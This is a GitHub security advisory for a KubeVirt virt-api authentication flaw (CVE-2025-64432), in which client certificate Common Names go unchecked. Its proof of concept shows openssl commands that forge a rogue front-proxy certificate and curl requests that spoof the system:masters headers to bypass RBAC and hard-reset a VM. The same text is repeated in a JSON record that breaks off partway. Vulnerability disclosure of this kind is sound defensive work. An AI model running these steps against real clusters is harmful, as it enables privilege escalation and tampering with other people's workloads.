CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5982 vulnerabilities reference this CWE, most recent first.
GHSA-38JW-G2QX-4286
Vulnerability from github – Published: 2025-11-06 23:32 – Updated: 2025-11-17 21:44Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
A flawed implementation of the Kubernetes aggregation layer's authentication flow could enable bypassing RBAC controls.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
It was discovered that the virt-api component fails to correctly authenticate the client when receiving API requests over mTLS. In particular, it fails to validate the CN (Common Name) field in the received client TLS certificates against the set of allowed values defined in the extension-apiserver-authentication configmap.
The Kubernetes API server proxies received client requests through a component called aggregator (part of K8S's API server), and authenticates to the virt-api server using a certificate signed by the CA specified via the --requestheader-client-ca-file CLI flag. This CA bundle is primarily used in the context of aggregated API servers, where the Kubernetes API server acts as a trusted front-end proxy forwarding requests.
While this is the most common use case, the same CA bundle can also support less common scenarios, such as issuing certificates to authenticating front-end proxies. These proxies can be deployed by organizations to extend Kubernetes' native authentication mechanisms or to integrate with existing identity systems (e.g., LDAP, OAuth2, SSO platforms). In such cases, the Kubernetes API server can trust these external proxies as legitimate authenticators, provided their client certificates are signed by the same CA as the one defined via --requestheader-client-ca-file.
Nevertheless, these external authentication proxies are not supposed to directly communicate with aggregated API servers.
Thus, by failing to validate the CN field in the client TLS certificate, the virt-api component may allow an attacker to bypass existing RBAC controls by directly communicating with the aggregated API server, impersonating the Kubernetes API server and its aggregator component.
However, two key prerequisites must be met for successful exploitation:
-
The attacker must possess a valid front-end proxy certificate signed by the trusted CA (
requestheader-client-ca-file). For example, they can steal the certificate material by compromising a front-end proxy or they could obtain a bundle by exploiting a poorly configured and managed PKI system. -
The attacker must have network access to the
virt-apiservice, such as via a compromised or controlled pod within the cluster.
These conditions significantly reduce the likelihood of exploitation. In addition, the virt-api component acts as a sub-resource server, meaning it only handles requests for specific resources and sub-resources . The handled by it requests are mostly related to the lifecycle of already existing resources.
Nonetheless, if met, the vulnerability could be exploited by a Pod-Level Attacker to escalate privileges, and manipulate existing virtual machine workloads potentially leading to violation of their CIA (Confidentiality, Integrity and Availability).
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Bypassing authentication
In this section, it is demonstrated how an attacker could use a certificate with a different CN field to bypass the authentication of the aggregation layer and perform arbitrary API sub-resource requests to the virt-api server.
The kube-apiserver has been launched with the following CLI flags:
admin@minikube:~$ kubectl -n kube-system describe pod kube-apiserver-minikube | grep Command -A 28
Command:
kube-apiserver
--advertise-address=192.168.49.2
--allow-privileged=true
--authorization-mode=Node,RBAC
--client-ca-file=/var/lib/minikube/certs/ca.crt
--enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota
--enable-bootstrap-token-auth=true
--etcd-cafile=/var/lib/minikube/certs/etcd/ca.crt
--etcd-certfile=/var/lib/minikube/certs/apiserver-etcd-client.crt
--etcd-keyfile=/var/lib/minikube/certs/apiserver-etcd-client.key
--etcd-servers=https://127.0.0.1:2379
--kubelet-client-certificate=/var/lib/minikube/certs/apiserver-kubelet-client.crt
--kubelet-client-key=/var/lib/minikube/certs/apiserver-kubelet-client.key
--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
--proxy-client-cert-file=/var/lib/minikube/certs/front-proxy-client.crt
--proxy-client-key-file=/var/lib/minikube/certs/front-proxy-client.key
--requestheader-allowed-names=front-proxy-client
--requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt
--requestheader-extra-headers-prefix=X-Remote-Extra-
--requestheader-group-headers=X-Remote-Group
--requestheader-username-headers=X-Remote-User
--secure-port=8443
--service-account-issuer=https://kubernetes.default.svc.cluster.local
--service-account-key-file=/var/lib/minikube/certs/sa.pub
--service-account-signing-key-file=/var/lib/minikube/certs/sa.key
--service-cluster-ip-range=10.96.0.0/12
--tls-cert-file=/var/lib/minikube/certs/apiserver.crt
--tls-private-key-file=/var/lib/minikube/certs/apiserver.key
By default, Minikube generates a self-signed CA certificate (var/lib/minikube/certs/front-proxy-ca.crt) and use it to sign the certificate used by the aggregator (/var/lib/minikube/certs/front-proxy-client.crt):
# inspect the self-signed front-proxy-ca certificate
admin@minikube:~$ openssl x509 -text -in /var/lib/minikube/certs/front-proxy-ca.crt | grep -e "Issuer:" -e "Subject:"
Issuer: CN = front-proxy-ca
Subject: CN = front-proxy-ca
# inspect the front-proxy-client certificate signed with the above cert
$ openssl x509 -text -in /var/lib/minikube/certs/front-proxy-client.crt | grep -e "Issuer:" -e "Subject:"
Issuer: CN = front-proxy-ca
Subject: CN = front-proxy-client
One can also inspect the contents of the extension-apiserver-authentication ConfigMap which is used as a trust anchor by all extension API servers:
admin@minikube:~$ kubectl -n kube-system describe configmap extension-apiserver-authentication
Name: extension-apiserver-authentication
Namespace: kube-system
Labels: <none>
Annotations: <none>
Data
====
requestheader-client-ca-file:
----
-----BEGIN CERTIFICATE-----
MIIDETCCAfmgAwIBAgIIN59KhbrmeJkwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UE
AxMOZnJvbnQtcHJveHktY2EwHhcNMjUwNTE4MTQzMTI3WhcNMzUwNTE2MTQzNjI3
WjAZMRcwFQYDVQQDEw5mcm9udC1wcm94eS1jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALOFlqbM1h3uhTdU9XBZQ6AX8S7M0nT5SgSOSItJrVwjNUv/
t4FAQxnGPW7fhp9A9CeQ92DGLXkm88fgHCgnPJuodKgX8fS7NHfswvXKkgo6C4UO
2AmW0NAkuKMyTmf1tWugot7hj3sGFfIzVSLL73wm1Ci8unTaGKZG01ZZalL1kzz9
ObpmEn7DQvSJd7m5gALP4KPJdkFjoagMI4UlIownARl0h2DX5WAKy0ynGfEBvw+P
hEbuVPb+egeUVTn9/4JIqdUw21tUQrmbQqPib8BByueiOYqEerGxZDpLAxh230VG
Q6omoyUHjE6SIMBoUnAqAdLbTElVbLWJawlLZzECAwEAAaNdMFswDgYDVR0PAQH/
BAQDAgKkMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPjiIeJVR7zQBCkpmkEa
I+70PxA8MBkGA1UdEQQSMBCCDmZyb250LXByb3h5LWNhMA0GCSqGSIb3DQEBCwUA
A4IBAQBiNTe9Sdv9RnKqTyt+Xj0NJrScVOiWPb9noO5XSyBtOy8F8b+ZWAtzc+eI
G/g6hpiT7lq3hVtmDNiE6nsP3tywXf0mgg7blRC0l3DxGtSzJZlbahAI4/U5yen7
orKiWiD/ObK2rGbt1toVRyvJzPi3hYjh4mA6GMyFbOC6snopNyM9oj+b/EuTCavf
l9WTNn2ZZQ1nYfJsLjOY5k/VtpZw1D/QwYt0u/A83RxEeBvK2aZPsq/nA0jqeHhe
VHauDQslkjMw0yrFc1b+Ju4Ly+BwH+Mi7ALUINc8EVncWZyM2L7B4N9XwPSp6YPX
fZnj69fu0JWfrq88M+LnKOyfkqi4
-----END CERTIFICATE-----
requestheader-extra-headers-prefix:
----
["X-Remote-Extra-"]
requestheader-group-headers:
----
["X-Remote-Group"]
requestheader-username-headers:
----
["X-Remote-User"]
client-ca-file:
----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTI1MDQxMTE3MzM1N1oXDTM1MDQxMDE3MzM1N1owFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALXK
ShgBkCDLETxDOSknvWHr7lfnvLtSCLf3VPVwFQNDhLAuFBc2H1MSMqzW6hcyxAVA
arQbOe36zxHjHpaP3VlGOEw3CVesPNw6ZToGuhpRq1inQATzeg2yc5w1jtRjLXhb
BWp7zCDk1qoHws/fWpaWOe3oQq4ZOA1+bJDsmZ7LjmMtOKHdqftEFz/RGVrn7nKD
/WXyGgKgSSNFsDK+Ow6gN6r3b10S82VQ5MwncJuqGO1r036yjwWBU8PEpknc/MhG
J/bMdI/w49rxlEAE92OadYRNvC0SDhG0HyPj9BMVx8ZG5X28lZMgq98UzVgu9Try
e8tndHqxUaU7rjO7j/8CAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBS8FpfTfvGkXDPJEXUoTQs+MwVhPjANBgkqhkiG9w0BAQsFAAOCAQEAFg+gxZ7W
zZValzuoXSc3keutB4U0QXFzjOhTVo8D/qsBNkxasdsrYjF2Do/KuGxCefXRZbTe
QWX3OFhiiabd0nkGoNTxXoPqwOJHczk+bo8L2Vcva1JAi/tBVNkPULzZilZWgWQz
8d8NgABP7MpHnOJVvAr6BEaS1wpoLzyEMXm6YToZXjDX1ajzyyLonQ9So1Y7aj6v
yPQ8OO2TUhkEpzb28/s5Pr33QT8W0/FX3m8+MGSNvWdHNZ+UzXLk3iSfySgjmciZ
o4C5yKLZgKFxoFBxY25emr6QDZW+3HicZj6sPsblGlvlBF5wQgF65msgjvmRfTLq
JPwzd6yDCMUuZQ==
-----END CERTIFICATE-----
requestheader-allowed-names:
----
["front-proxy-client"]
BinaryData
====
Events: <none>
It is assumed that an attacker has obtained access to a Kubernetes pod and could communicate with virt-api reachable at 10.244.0.6.
root@compromised-pod:~$ curl -ks https://10.244.0.6:8443/ | jq .
{
"paths": [
"/apis",
"/openapi/v2",
"/apis/subresources.kubevirt.io",
"/apis/subresources.kubevirt.io/v1",
"/apis/subresources.kubevirt.io",
"/apis/subresources.kubevirt.io/v1alpha3"
]
}
The virt-api service has two types of endpoints -- authenticated and non-authenticated:
// pkg/authorizer/authorizer.go
var noAuthEndpoints = map[string]struct{}{
"/": {},
"/apis": {},
"/healthz": {},
"/openapi/v2": {},
// Although KubeVirt does not publish v3, Kubernetes aggregator controller will
// handle v2 to v3 (lossy) conversion if KubeVirt returns 404 on this endpoint
"/openapi/v3": {},
// The endpoints with just the version are needed for api aggregation discovery
// Test with e.g. kubectl get --raw /apis/subresources.kubevirt.io/v1
"/apis/subresources.kubevirt.io/v1": {},
"/apis/subresources.kubevirt.io/v1/version": {},
"/apis/subresources.kubevirt.io/v1/guestfs": {},
"/apis/subresources.kubevirt.io/v1/healthz": {},
"/apis/subresources.kubevirt.io/v1alpha3": {},
"/apis/subresources.kubevirt.io/v1alpha3/version": {},
"/apis/subresources.kubevirt.io/v1alpha3/guestfs": {},
"/apis/subresources.kubevirt.io/v1alpha3/healthz": {},
// the profiler endpoints are blocked by a feature gate
// to restrict the usage to development environments
"/start-profiler": {},
"/stop-profiler": {},
"/dump-profiler": {},
"/apis/subresources.kubevirt.io/v1/start-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1/stop-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1/dump-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1alpha3/start-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1alpha3/stop-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1alpha3/dump-cluster-profiler": {},
}
Each endpoint which is not in this list is considered an authenticated endpoint and requires a valid client certificate to be presented by the caller.
# trying to reach an API endpoint not in the above list would require client authentication
attacker@compromised-pod:~$ curl -ks https://10.244.0.6:8443/v1
request is not authenticated
To illustrate the vulnerability and attack scenario, below is generated a certificate signed by the front-proxy-ca but issued to an entity which is different than front-proxy-client (i.e the certificate has a different CN). Later on, it is assumed that the attacker has obtained access to the certificate bundle:
attacker@compromised-pod:~$ openssl ecparam -genkey -name prime256v1 -noout -out rogue-front-proxy.key
attacker@compromised-pod:~$ openssl req -new -key rogue-front-proxy.key -out rogue-front-proxy.csr -subj "/CN=crypt0n1t3/O=Quarkslab/C=Fr"
attacker@compromised-pod:~$ openssl x509 -req -in rogue-front-proxy.csr -CA front-proxy-ca.crt -CAkey front-proxy-ca.key -CAcreateserial -out
rogue-front-proxy.crt -days 365
The authentication will now succeed:
attacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key https://10.244.0.6:8443/v1
a valid user header is required for authorization
To fully exploit the vulnerability, the attacker must also provide valid authentication HTTP headers:
attacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H 'X-Remote-User:system:kube-aggregator' -H '
X-Remote-Group: system:masters' https://10.244.0.6:8443/v1
unknown api endpoint: /subresource.kubevirt.io/v1
The virt-api is a sub-resource extension server - it handles only requests for specific resources and sub-resources (requests having URIs prefixed with /apis/subresources.kubevirt.io/v1/). In reality, most of the requests that it accepts are actually executed by the virt-handler component and are related to the lifecycle of a VM.
Hence, virt-handler's API can be seen as aggregated within virt-api's API which in turn transforms it into a proxy.
The endpoints which are handled by virt-api are listed in the Swagger definitions available on GitHub @openapi-spec.
Resetting a Virtual Machine Instance
Consider the following deployed VirtualMachineInstance (VMI) within the default namespace:
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
namespace: default
name: mishandling-common-name-in-certificate-default
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
resources:
requests:
memory: 1024M
terminationGracePeriodSeconds: 0
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
An attacker with a stolen external authentication proxy certificate could easily reset (hard reboot), freeze, or remove volumes from the virtual machine.
root@compromised-pod:~$ curl -ki --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H 'X-Remote-User: system:kube-aggregator' -H 'X-Remote-Group: system:masters' https://10.244.0.6:8443/apis/subresources.kubevirt.io/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-default/reset -XPUT
HTTP/1.1 200 OK
Date: Sun, 18 May 2025 16:43:26 GMT
Content-Length: 0
Impact
What kind of vulnerability is it? Who is impacted?
The virt-api component may allow an attacker to bypass existing RBAC controls by directly communicating with the aggregated API server, impersonating the Kubernetes API server and its aggregator component.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-alpha.0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0-alpha.0"
},
{
"fixed": "1.7.0-rc.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64432"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-06T23:32:54Z",
"nvd_published_at": "2025-11-07T19:16:26Z",
"severity": "MODERATE"
},
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nA flawed implementation of the Kubernetes aggregation layer\u0027s authentication flow could enable bypassing RBAC controls.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nIt was discovered that the `virt-api` component fails to correctly authenticate the client when receiving API requests over mTLS. In particular, it fails to validate the CN (Common Name) field in the received client TLS certificates against the set of allowed values defined in the `extension-apiserver-authentication` configmap. \n\nThe Kubernetes API server proxies received client requests through a component called aggregator (part of K8S\u0027s API server), and authenticates to the `virt-api` server using a certificate signed by the CA specified via the `--requestheader-client-ca-file` CLI flag. This CA bundle is primarily used in the context of aggregated API servers, where the Kubernetes API server acts as a trusted front-end proxy forwarding requests.\n\nWhile this is the most common use case, the same CA bundle can also support less common scenarios, such as issuing certificates to [authenticating](how-kubernetes-certificates-work) front-end [proxies](https://deepwiki.com/kubernetes/apiserver/7.1-authentication#request-header-authentication). These proxies can be deployed by organizations to extend Kubernetes\u0027 native authentication mechanisms or to integrate with existing identity systems (e.g., LDAP, OAuth2, SSO platforms). In such cases, the Kubernetes API server can trust these external proxies as legitimate authenticators, provided their client certificates are signed by the same CA as the one defined via `--requestheader-client-ca-file`.\nNevertheless, these external authentication proxies are not supposed to directly communicate with aggregated API servers.\n\nThus, by failing to validate the CN field in the client TLS certificate, the `virt-api` component may allow an attacker to bypass existing RBAC controls by directly communicating with the aggregated API server, impersonating the Kubernetes API server and its aggregator component.\n\nHowever, two key prerequisites must be met for successful exploitation:\n\n- The attacker must possess a valid front-end proxy certificate signed by the trusted CA (`requestheader-client-ca-file`). For example, they can steal the certificate material by compromising a front-end proxy or they could obtain a bundle by exploiting a poorly configured and managed PKI system.\n\n- The attacker must have network access to the `virt-api` service, such as via a compromised or controlled pod within the cluster.\n\nThese conditions significantly reduce the likelihood of exploitation. In addition, the `virt-api` component **acts as a sub-resource server**, meaning it only handles requests for specific resources and sub-resources . The handled by it requests are mostly related to the lifecycle of already existing resources.\n\nNonetheless, if met, the vulnerability could be exploited by a *Pod-Level Attacker* to escalate privileges, and manipulate existing virtual machine workloads potentially leading to violation of their CIA (Confidentiality, Integrity and Availability).\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n#### Bypassing authentication\n\nIn this section, it is demonstrated how an attacker could use a certificate with a different CN field to bypass the authentication of the aggregation layer and perform arbitrary API sub-resource requests to the `virt-api` server.\n\nThe `kube-apiserver` has been launched with the following CLI flags:\n\n\n```bash\nadmin@minikube:~$ kubectl -n kube-system describe pod kube-apiserver-minikube | grep Command -A 28\n Command:\n kube-apiserver\n --advertise-address=192.168.49.2\n --allow-privileged=true\n --authorization-mode=Node,RBAC\n --client-ca-file=/var/lib/minikube/certs/ca.crt\n --enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota\n --enable-bootstrap-token-auth=true\n --etcd-cafile=/var/lib/minikube/certs/etcd/ca.crt\n --etcd-certfile=/var/lib/minikube/certs/apiserver-etcd-client.crt\n --etcd-keyfile=/var/lib/minikube/certs/apiserver-etcd-client.key\n --etcd-servers=https://127.0.0.1:2379\n --kubelet-client-certificate=/var/lib/minikube/certs/apiserver-kubelet-client.crt\n --kubelet-client-key=/var/lib/minikube/certs/apiserver-kubelet-client.key\n --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname\n --proxy-client-cert-file=/var/lib/minikube/certs/front-proxy-client.crt\n --proxy-client-key-file=/var/lib/minikube/certs/front-proxy-client.key\n --requestheader-allowed-names=front-proxy-client\n --requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt\n --requestheader-extra-headers-prefix=X-Remote-Extra-\n --requestheader-group-headers=X-Remote-Group\n --requestheader-username-headers=X-Remote-User\n --secure-port=8443\n --service-account-issuer=https://kubernetes.default.svc.cluster.local\n --service-account-key-file=/var/lib/minikube/certs/sa.pub\n --service-account-signing-key-file=/var/lib/minikube/certs/sa.key\n --service-cluster-ip-range=10.96.0.0/12\n --tls-cert-file=/var/lib/minikube/certs/apiserver.crt\n --tls-private-key-file=/var/lib/minikube/certs/apiserver.key\n```\n\nBy default, Minikube generates a self-signed CA certificate (`var/lib/minikube/certs/front-proxy-ca.crt`) and use it to sign the certificate used by the aggregator (`/var/lib/minikube/certs/front-proxy-client.crt`):\n\n```bash\n# inspect the self-signed front-proxy-ca certificate\nadmin@minikube:~$ openssl x509 -text -in /var/lib/minikube/certs/front-proxy-ca.crt | grep -e \"Issuer:\" -e \"Subject:\"\n Issuer: CN = front-proxy-ca\n Subject: CN = front-proxy-ca\n# inspect the front-proxy-client certificate signed with the above cert\n$ openssl x509 -text -in /var/lib/minikube/certs/front-proxy-client.crt | grep -e \"Issuer:\" -e \"Subject:\"\n Issuer: CN = front-proxy-ca\n Subject: CN = front-proxy-client\n```\n\n\nOne can also inspect the contents of the `extension-apiserver-authentication` ConfigMap which is used as a trust anchor by all extension API servers:\n\n```bash\nadmin@minikube:~$ kubectl -n kube-system describe configmap extension-apiserver-authentication\nName: extension-apiserver-authentication\nNamespace: kube-system\nLabels: \u003cnone\u003e\nAnnotations: \u003cnone\u003e\n\nData\n====\nrequestheader-client-ca-file:\n----\n-----BEGIN CERTIFICATE-----\nMIIDETCCAfmgAwIBAgIIN59KhbrmeJkwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UE\nAxMOZnJvbnQtcHJveHktY2EwHhcNMjUwNTE4MTQzMTI3WhcNMzUwNTE2MTQzNjI3\nWjAZMRcwFQYDVQQDEw5mcm9udC1wcm94eS1jYTCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBALOFlqbM1h3uhTdU9XBZQ6AX8S7M0nT5SgSOSItJrVwjNUv/\nt4FAQxnGPW7fhp9A9CeQ92DGLXkm88fgHCgnPJuodKgX8fS7NHfswvXKkgo6C4UO\n2AmW0NAkuKMyTmf1tWugot7hj3sGFfIzVSLL73wm1Ci8unTaGKZG01ZZalL1kzz9\nObpmEn7DQvSJd7m5gALP4KPJdkFjoagMI4UlIownARl0h2DX5WAKy0ynGfEBvw+P\nhEbuVPb+egeUVTn9/4JIqdUw21tUQrmbQqPib8BByueiOYqEerGxZDpLAxh230VG\nQ6omoyUHjE6SIMBoUnAqAdLbTElVbLWJawlLZzECAwEAAaNdMFswDgYDVR0PAQH/\nBAQDAgKkMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPjiIeJVR7zQBCkpmkEa\nI+70PxA8MBkGA1UdEQQSMBCCDmZyb250LXByb3h5LWNhMA0GCSqGSIb3DQEBCwUA\nA4IBAQBiNTe9Sdv9RnKqTyt+Xj0NJrScVOiWPb9noO5XSyBtOy8F8b+ZWAtzc+eI\nG/g6hpiT7lq3hVtmDNiE6nsP3tywXf0mgg7blRC0l3DxGtSzJZlbahAI4/U5yen7\norKiWiD/ObK2rGbt1toVRyvJzPi3hYjh4mA6GMyFbOC6snopNyM9oj+b/EuTCavf\nl9WTNn2ZZQ1nYfJsLjOY5k/VtpZw1D/QwYt0u/A83RxEeBvK2aZPsq/nA0jqeHhe\nVHauDQslkjMw0yrFc1b+Ju4Ly+BwH+Mi7ALUINc8EVncWZyM2L7B4N9XwPSp6YPX\nfZnj69fu0JWfrq88M+LnKOyfkqi4\n-----END CERTIFICATE-----\n\n\nrequestheader-extra-headers-prefix:\n----\n[\"X-Remote-Extra-\"]\n\nrequestheader-group-headers:\n----\n[\"X-Remote-Group\"]\n\nrequestheader-username-headers:\n----\n[\"X-Remote-User\"]\n\nclient-ca-file:\n----\n-----BEGIN CERTIFICATE-----\nMIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p\na3ViZUNBMB4XDTI1MDQxMTE3MzM1N1oXDTM1MDQxMDE3MzM1N1owFTETMBEGA1UE\nAxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALXK\nShgBkCDLETxDOSknvWHr7lfnvLtSCLf3VPVwFQNDhLAuFBc2H1MSMqzW6hcyxAVA\narQbOe36zxHjHpaP3VlGOEw3CVesPNw6ZToGuhpRq1inQATzeg2yc5w1jtRjLXhb\nBWp7zCDk1qoHws/fWpaWOe3oQq4ZOA1+bJDsmZ7LjmMtOKHdqftEFz/RGVrn7nKD\n/WXyGgKgSSNFsDK+Ow6gN6r3b10S82VQ5MwncJuqGO1r036yjwWBU8PEpknc/MhG\nJ/bMdI/w49rxlEAE92OadYRNvC0SDhG0HyPj9BMVx8ZG5X28lZMgq98UzVgu9Try\ne8tndHqxUaU7rjO7j/8CAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW\nMBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW\nBBS8FpfTfvGkXDPJEXUoTQs+MwVhPjANBgkqhkiG9w0BAQsFAAOCAQEAFg+gxZ7W\nzZValzuoXSc3keutB4U0QXFzjOhTVo8D/qsBNkxasdsrYjF2Do/KuGxCefXRZbTe\nQWX3OFhiiabd0nkGoNTxXoPqwOJHczk+bo8L2Vcva1JAi/tBVNkPULzZilZWgWQz\n8d8NgABP7MpHnOJVvAr6BEaS1wpoLzyEMXm6YToZXjDX1ajzyyLonQ9So1Y7aj6v\nyPQ8OO2TUhkEpzb28/s5Pr33QT8W0/FX3m8+MGSNvWdHNZ+UzXLk3iSfySgjmciZ\no4C5yKLZgKFxoFBxY25emr6QDZW+3HicZj6sPsblGlvlBF5wQgF65msgjvmRfTLq\nJPwzd6yDCMUuZQ==\n-----END CERTIFICATE-----\n\n\nrequestheader-allowed-names:\n----\n[\"front-proxy-client\"]\n\n\nBinaryData\n====\n\nEvents: \u003cnone\u003e\n```\n\nIt is assumed that an attacker has obtained access to a Kubernetes pod and could communicate with `virt-api` reachable at `10.244.0.6`.\n\n```bash\nroot@compromised-pod:~$ curl -ks https://10.244.0.6:8443/ | jq .\n{\n \"paths\": [\n \"/apis\",\n \"/openapi/v2\",\n \"/apis/subresources.kubevirt.io\",\n \"/apis/subresources.kubevirt.io/v1\",\n \"/apis/subresources.kubevirt.io\",\n \"/apis/subresources.kubevirt.io/v1alpha3\"\n ]\n}\n```\n\nThe `virt-api` service has two types of endpoints -- authenticated and non-authenticated:\n\n```go\n// pkg/authorizer/authorizer.go\n\nvar noAuthEndpoints = map[string]struct{}{\n\t\"/\": {},\n\t\"/apis\": {},\n\t\"/healthz\": {},\n\t\"/openapi/v2\": {},\n\t// Although KubeVirt does not publish v3, Kubernetes aggregator controller will\n\t// handle v2 to v3 (lossy) conversion if KubeVirt returns 404 on this endpoint\n\t\"/openapi/v3\": {},\n\t// The endpoints with just the version are needed for api aggregation discovery\n\t// Test with e.g. kubectl get --raw /apis/subresources.kubevirt.io/v1\n\t\"/apis/subresources.kubevirt.io/v1\": {},\n\t\"/apis/subresources.kubevirt.io/v1/version\": {},\n\t\"/apis/subresources.kubevirt.io/v1/guestfs\": {},\n\t\"/apis/subresources.kubevirt.io/v1/healthz\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/version\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/guestfs\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/healthz\": {},\n\t// the profiler endpoints are blocked by a feature gate\n\t// to restrict the usage to development environments\n\t\"/start-profiler\": {},\n\t\"/stop-profiler\": {},\n\t\"/dump-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1/start-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1/stop-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1/dump-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/start-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/stop-cluster-profiler\": {},\n\t\"/apis/subresources.kubevirt.io/v1alpha3/dump-cluster-profiler\": {},\n}\n```\n\nEach endpoint which is not in this list is considered an authenticated endpoint and requires a valid client certificate to be presented by the caller.\n\n```bash\n# trying to reach an API endpoint not in the above list would require client authentication\nattacker@compromised-pod:~$ curl -ks https://10.244.0.6:8443/v1\nrequest is not authenticated\n```\n\nTo illustrate the vulnerability and attack scenario, below is generated a certificate signed by the `front-proxy-ca` but issued to an entity which is different than `front-proxy-client` (i.e the certificate has a different CN). Later on, it is assumed that the attacker has obtained access to the certificate bundle:\n\n```bash\nattacker@compromised-pod:~$ openssl ecparam -genkey -name prime256v1 -noout -out rogue-front-proxy.key\nattacker@compromised-pod:~$ openssl req -new -key rogue-front-proxy.key -out rogue-front-proxy.csr -subj \"/CN=crypt0n1t3/O=Quarkslab/C=Fr\"\nattacker@compromised-pod:~$ openssl x509 -req -in rogue-front-proxy.csr -CA front-proxy-ca.crt -CAkey front-proxy-ca.key -CAcreateserial -out\n rogue-front-proxy.crt -days 365\n```\nThe authentication will now succeed:\n\n```bash\nattacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key https://10.244.0.6:8443/v1\na valid user header is required for authorization\n```\n\nTo fully exploit the vulnerability, the attacker must also provide valid authentication HTTP headers:\n\n```bash\nattacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H \u0027X-Remote-User:system:kube-aggregator\u0027 -H \u0027\nX-Remote-Group: system:masters\u0027 https://10.244.0.6:8443/v1\nunknown api endpoint: /subresource.kubevirt.io/v1\n```\n\nThe `virt-api` is a sub-resource extension server - it handles only requests for specific resources and sub-resources (requests having URIs prefixed with `/apis/subresources.kubevirt.io/v1/`). In reality, most of the requests that it accepts are actually executed by the `virt-handler` component and are related to the lifecycle of a VM. \n\nHence, `virt-handler`\u0027s API can be seen as aggregated within `virt-api`\u0027s API which in turn transforms it into a proxy. \n\nThe endpoints which are handled by `virt-api` are listed in the Swagger definitions available on GitHub @openapi-spec.\n\n#### Resetting a Virtual Machine Instance \n\nConsider the following deployed `VirtualMachineInstance` (VMI) within the default namespace:\n\n```yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n namespace: default\n name: mishandling-common-name-in-certificate-default\nspec:\n 